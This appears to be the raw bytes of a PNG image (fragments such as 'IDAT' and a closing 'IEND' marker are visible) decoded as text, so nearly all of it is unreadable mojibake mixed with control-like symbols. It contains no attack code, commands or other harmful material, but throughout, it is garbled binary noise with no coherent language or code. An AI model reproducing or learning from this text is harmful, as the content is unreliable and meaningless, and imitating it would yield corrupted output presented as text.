쭆{\J!--VvvRo9/VPb` "J׶3&**i.1??}~d* p$EWMm%egþeWW55z5z4qljyy-~ϯm{ojjЫߞy{z5hlwŽ_\\fe5rp؈ⴴwuu%$C~qYcOM7n>6.b`B~. z$A9QA9PGGgGG'F+vv ssvmUA4*LII^QQoӗ/\ *Ǝܺ>>6vv_ncj5<55oUV Ĥ6Eݘ1lɧz r^׮ݟ9s2ݻ47>~?JW{k mFw* KG\`Xly "00VU:).m(iLL&x <[s|6Ig:O[i@``Oa#ŝc2mU@Zdd䊿kꡞ\[]"bp o|D^"!! yyXKutP)PTVV ukIIJKK[TT2 }Çǟ>=yL$~TQQd.Td哞?TC56ey󑺺7^h{sҥX#FI%l%tR/+ӣY,S>|.Pq1܈0Qqq8B%@+]{aٔ5k~۬Pfa>sfK-tv G\C/y "/?D`t+<ՇP@ \”N?5=:a݊3';w…? vZyvXw?.xaџ7rFTĠhV*SXXaf/JL>4tی휗isfU0,p5~ Ye 47?ěNohڵN6~`*ccOȇ\ngD˘))̦(++hmM/\.;"b>6}4ŋڨ(oo(۾O^~N>]۽PĶA/QUU׿f͚3 uMMKB#F u"#?/\hw*>]_ah#q[}xY6O}|l6߿N/^ԍædc2MMض>!G ې!-֎|9v&BǍ)`lS(ʛ4yOL\& 46m؂/L74 Ǡ Ǭ{ ~j;)GlGB##]556r\ܚgFIKAA!t}4 B!|~ٳצM'铟d:#Cff^cc_|&ڈW54Tj "~$cUЌ+3== <^xHK@/;b}@b?9`X*"K`0Tp1QQNNsY,k=],>lccKP^^֛7qpp),+#i`0BHKK]bnij2^w^͖xYqj>X…=jZ`sp؈wuu%$CR~fcnn ""޿_.$Infg۾s86GRUĹLL&"c-W(W(М9;wͮ붘x|u֬I^w WBxp5'P(.5c…&UT>-`+**yP(TVWT ӧORSclt !T\\};CMQRBt_^X`ki~~B41] )v0Ư,OM$vK.Bs,aGi_i%&?H?.ᛆ흝eb:;E09pj_)S\Gmmϫ[%4#tt=y_d<~ Bh׮o8)q@*SXXaf/JL02 ~ K’RR6KKS9]]] MlCZ(GmrKKs@Hkjj2=Vhj2 ?t7߸$JeW񻲲tKʯ_7J٩w|}mo_R,~,fwjG yp|; i.$Lwq(VZZ[PpD|4{{S{{Sl[IIɓIddlC~֧ Wޝ;;JAA'Mw֪\GEL]""6aP}}S|^:{ۑ MlO>?%ھvӦMrpx` !-)Ӄ2 w?BJe3) =dܑEq숈evvW-/֯ UWSo8k h\σCZCZmm}uk!!::.7n<@նa**/*8BhŊuvv0۶GS%K" > BٳJ[0Êɴqw8 >BAA̙JJ·J>oFF<|V'o'/smmg*dNpb^G`X10PM`W$k;wŶC`06KA&sb֪x IDAT^.*:Uի\P( W]}/>}5.n 4m8O' 8`g*dxne噪~~v!ia z H2a;K۟ۛ4i;bdޥw0=t("v;s& ~{`UIzBsb֪6Xv,ݖ-v:m[Z)(57ݿT r5Fbݼ"*[VZwn X,#C?}H7nUTm'/?NMO2xnnQccKXR*:uꄥKy š__ ޓA6s8<ںwA/z CP \GEEI&xv/c2mllB_j;KkG499YFBYf{v1BFCʕ|$))FWQQm~|jP:IPTMfܸ<ެ29^tSzIJZ6HhdOx{ 1RC$&kmmGŝmjj ^1Nfh1B{WmmXCCnSQy6$/?^!xQ7f FɱTVr57+crnzD2/:M@hݓvcc?>$FFz;3Ǐ_tv\^Fxo-\ժU!Cb4::Z۶-˨DOmffSSOLKҦb&ii55[7޴Wug^6l>?ɺuN=͇HK33~qqմ>`sp؈wuu%$CR~ fcnn ""޿_.hmm rP(sZXcrs$cwŶWv7&& %=}+Blb+,MX jj2I$3pN$!VXLxw֬I^Ť eQBx5'P(.5c…&UT>-`+**yP(TVWT ӧORSclt !T\\}௦()yч)$hb2QSS-,lkk@БSu8˴ioO n8qieaa,z![(i%1q]~Aq 4lmmlmmǯ))-?oqj߂ի||lH~ ӧLr?jll|9v&P0 ~ K’RR6KKS9]]]LőW؆v -AA?xyYo|!e6U.+Kǟ^n$>|xOZ\\f`0σ`H0BgiLg繇o/:PSxB%})}o98C_CCmmB(33c>BhڴIBa/ZYM+-)EZ;F R)t{ԩxf3"b 5/k:.yyY?^y|x,4,lf:ܙjb2_Һ~/%'ooc66 &#CiXݒJKjoWUTTjd'aRU ڷʕ X=Hwð` AMW$WPѾM=9uq~5z4{`Lfxi`0N__!D~iώd55ek7n֎Yl۲e۰mCC]p!vZ9e׉KȈY{ {M~&a=<ύ^SXU{F\,vr##Iܸѭ}Μ55ǎՌYF(*ʭXas{T- uu2ŻM}Qb=$ ->>;JK+Tʜ9S6ntGI}|vcӫYs-<矛") vpùsv-dޗ:A/P* OCp8X]ѢɲF3)B]g6 x` <&6}ס!7hx:vv~(PYYH^@: p$''+'';U½{.PWg$%c U!X>0`A|&v{&h4{`*._illv>q"GZ{}}S|;8ecjt=>='tg~~D׮uڴ[[VslSII>1q}PկB_}`l8vg"#dei!iffSBhh,\.;"bh̫g֎2al[GGk۶_~lx-%?'YY{KJ^$'g"$c4i;bdH"?- `_O/_nr6zPHKEfdۓ]0 nη ֪6Xv,ݖ-v:m[Z)(57ݿT r5Fbݼ"*[VZ]Jܶxl|} 44-- iG3>>6}4ŋڨ(o KHX5 X,#C?|:9mpxuh;RQQzW@$L[ZBB L53,Bb#ƍG~M$CdBA'q_(+BٳJ[0Êɴqw&I~W}b円^,B(/ɞLMX;]m H!w58x Bh:NdWpp M]Wc; u$NYZZannkJL\r%Pljjnj+oa=?**oG֓wF%&kknPcc`Ӛ|~5B&ii55[7&.nMzgB׮ohhvp#:B:lmüܺUgkuuGFS7߆|x BHb Ni?Y ) Y`Si4l],s}4 ,Bhƌə /<$% ]`a> `1zxX=*"Kr5 Eeel[$|}mo_RᨱX*{Çǟ>=yL$BWUr͚ם:aXGmr%{?􃗗Go */({ⲥW{2=5 zee99YB{nnQccKXR*:uꄥKO]b#ܹk1G Hj߅ˬY\ھQ7**oAӦO7$f`Mb4'mlNNP؅]k MDCPA XQQiSSP(>}cӦaaKG7멩1JJ^k.Z4sOB۷{PyyMJe'cư=?]Hvk|z^cc}}w:ujx-JKjo> 1sjsjΎNLkk;&})-ڽ;Ul@ꌆvrUeK.WJ}aر[IlĶO'aVoBNg}E/^ԍ&DAzv*lU+--uw>T=]UՆ^ܶq;J텅#G.f0\\ԼF|jٳ׮]c?6+"(XPPbfZ^OTU EIkGZddb_;w `W{ٵk'NdW(B8\[]"c$ܞ=ixzBھQV*SXXaf/JL<zKJLΒ^E~iK\9&&*矛ȼ550Q(`@1C4<3aϬYh.dp88l43!da><>E1x` <Lkk{}} rsƏ窫3._mg!?GBUx rr\wO{ꌤ`l ! U rU 6H-x& 7l˖c'z_[9/Bɓ&OTQ3%㠘6޽?kvPZHXIK˚6_Aa\GxP(faegl`IݰPdli _gpecjt?U'tg~~D׮uڴ[֪Ғ~=k[@:^.%2ѣawz~}<8\nFFffSzRFGGݿ8qlϏmj ˎX6LEŚEEGXnc$LeUU%G9kT*&3nHoVqqyyt: Я,BAed䚙M;<{Vik`X16X#Ë>1urCC/{ &jk;MK:ywwo۶MMtt\,:ď@H88̶Dh:uŋy}IZf2m}]"wPgTi&'/> ?>\U)LM\TtիWc\ Phc?IǏ_<}j\G-=}kiiۂ[4gMےL0ZYϭB` SKK&=ٳQzǎio=RYRS)me{;;;g^鹐TWwI?x3l&7 KtWH ssZ[ۃ)ʜ9^$ӫHl55Bqs[bܿKCϜ,};W׮6Ě1$^.ɘE99Bavͯ3 @8rUNJJO{*IDATZtB6 [*/?XOMQRXX^~DLʕ#!~KykE8kc3!$tŐA* k["LL&jj폈X&#C{$ CҲO{B (BN`wv ssvmUЄ)B STѣ֬W!(*ʿ|و %VXYrXM|dܸ$^EJԼdk[!ɒJ.Wߨ6D$^rɱ8^ii¹4=]UՆ^ܶq;J텅#G.f0\\ԼF|j3Bhr4--.1!ᜳ>;j}Jfdjhسً0{rmuG- O$ؼEBBXB.CaЄiKK۩SW._]nԻw{O,[U% b$VɬzzEҙu%lOjksU!gNVosjlϯT#]fۤz|caUk|~\CZh ɣ&&;Dh5Ahtq1wq1mqt]DTAѻ[xIl'ids!Ȉ!8#zۻ&'aKXvED/`q*"1*J/ .TQԫ+VYuAVX䢵,j%TpI&i@ϓ?fNΜygx|gM.] !^b;Q@pgpx ;w.Yҥrr䂂XEΠ>}kLM s==|Y| %bpUbVVW܊+WR!AbMT@>{V.d6͹"r@x ]؆hkt%+1+qˤI$:~h+a5J8džL--ZFG-yy1F CUʺ: S~U@ EQ^yyɢj}/};9mmmkiѢ*LTR@ Y48yЂWB`oy@ ` K?AACCvk97TO@0Wg\(<"{Y[Sv櫎.@xH6c<^p KkHaaa$Tڵ| ~;~E]\@˗]zޟ&TW'9sv>s鱱c` E_Ң][vqacccmz6wty5}]cٸ1b]o?j2?OsU $[D3 UTǍsvBh͚[X,ӧJ!矕hsCED_[6o>m6]U:e?.\إP ؝w)Eybş%))66f.WTb}w,00[f0ءg'LXmjIt.^u Mtt<?"X ޽笭} \,a1~2 sn^b?)BQ0a]<+hkeAqo,Xm)B& gH͍c~ݼMMu ˻7Y"7io88l24dVV&VU]rEFg[|; 7Sz_y^^ɘ1û޽w/,$H-ҘUwRn c2uOJn:Z\WZ&.. !緱فW;}{e˖mvlܸ>z/:JX؅OS_}5%7FqiwSGMv$jH84 >|&99+*jR'M2;'%ؓjmmy`?f0ةwoCڎ#(贔2jkh4yD!2r}\VFeeJSSKA >6L[,#ɑmmJBYYEAUkٳ-owp_ut }XE#߽k;#d{08>!/FIz dd䪪jaCxYYմi~ʳlm7a}DR7svx=;  ;()cǺ}pؾ:4a߉]Bbc'TTe33O&s!eUCCG͛u;=_bZZ>z춼*U {ʼǑR`}mjj켓y4*U ;ުwCjL ]z|R>޶ldΥc=څ544=&\dԻL#`}D}~ɉϏ=y2y.#"rr"^ͮ]zs<( +*:,e><4ar n/*D(/&XHJHxU&CjUa'm9ZXRncZZ4CSNjL>wcb2_UTT޿e~׭Z5-!!qHtpC~–% fg?Zn!D6IԎqu !lfť# [KˑkݻwIO>KUb)OH_UL{>Ut֭ Q[fL& ۇ& sU MT@>{9I+-}w^X==̀<^+ߖUoq86 !*Ui^^jk뚛[{}#?bV,n.WMM sB/_V&'yx%{ 55 E n4ɘDBǏ'"B3g~s6͕+bgΈNX Iʷ#F/V#G1glo|իn YQlmmrVV8KNza04 EIhY3*ZsLNeemwOW54 ۇA>W0Wai9͞bb1};,}ӦasJ܄L&)*8ΏJː!Z#"ZfOd2ij:mCW˗Rĉ^RwuKIƳTG8`aY&vy"^x .7AOdzFK˱""hp@W|yıEE'eg;~v\&^@&$H Wf;8XqWda/>D@~JVeQuk׃>DԪ=r@x ]ئȁ SHݻ ۇ&[Kg7>~ml䙛OZX`/xvZ6]=%jY|"e]E7dg?64dji22\v B(&{}}]LLFbR,r8MM9sDwPwP2رD[ VVe] 0Wd.hLL>LMMѫW5cǎJImmvty5}Zo2Ob9w$ib ~ Hlf2؏~=К5+*jXΧO_Y B?+ 44溻%'牾;;dyy9CC? ^xǎ}hb1Ο^[[wT84*uL6A/v_ylL&dؘa{qwMMys\\\VXX:y=㏿b} vh Vzbᗌ\UU7l/+6OYy&wotJܗ&s81رO0nޮ]GC] $I?^1DD'-` 177Ϗmhufg751/rfJܤ]АYYXUuQx8m;&74454dQW8d)%%GG봴QjxxIKů "/d̘Svv{rF2o^ٖuuWy^uw; ;?_%%{d'6VU]jiGD$.--7%%+gU⾄W7׿f}!иq#>| }%,Bߎ'L7Y::],$s*AU0p8S55i$m6×o󸢢v>/*UIAA~$csRm=ɡ&xݻ潚jԼWVܹs\MM|[\njkh4 ߐ |-] O"U%_|1tʔӧedJp=z$–qq[r$KxU|!CLϙԻts؆t۷R@~O޽._o=*/7/N`CB`ϊd$B7n72r縹ZFMttM<ڙUwRn c2uDD)K$ĚAWr7xAUxy9vtdvtdff qw_rX,FGGB`W%n2tVYYU{@|oKOg9F:]UOOCEVSSt6ޡ3f o`h^(=eb2\]OOZ J==M)Y&O^XXzʝoHpkk;jk;>t'l_ۈz_}eB(#ひ2jܽ{VPTT:T{Z6>W%\JlꚐDTV45ۘLaô&JY 'I%LT0rrd99y^^ Q7H}*&*Ub r=Ԥ Jrf@ o*·8{2T>>Gﴴ܊KwoBC>o+)y_'VV㔕) ϞM_dzOU)6R8i..A'>3gZ~ yy1yy1~~+bgHqqRܹtꖖVcc1c\njq=|g}]rcc־iR_0u9WDV%nB&SRquttuGE% eIG^$d͚aa14Ä 55i)EMƏJ8K]]R.%%[s|r˗L<'$^8CtV76f } 6t&SԡTԔe_&33:17b:CS[O<}zŋU5P^^E8VͻDii|ssKHH "V)K$xD">_>x "PGu뎍$BFYYkE/xTnc`ԩ-l xWs98Sg^SC 3OJU*..k0b0 =n+11DBmkU|~ۨQx{;}KO_GSSgn>=T[~, ,,LM=]-YbݻO>}OT3Q="GzVҥ3Db18LyyudzH!Cded:oy@ rUY ]Lu}&,E6|U|..L}EE!Ch..A55Iҋ\};"v7{zSW;ɷ"I)K$HDʽ%)R W \g7d}}ݔ=ح@ÕgJ(D,I Od U kb7`Pw鳛ڸ1ݩS<^k]]VVV+*` ˺=7>#)K(E EQ&U*[A01 .IENDB`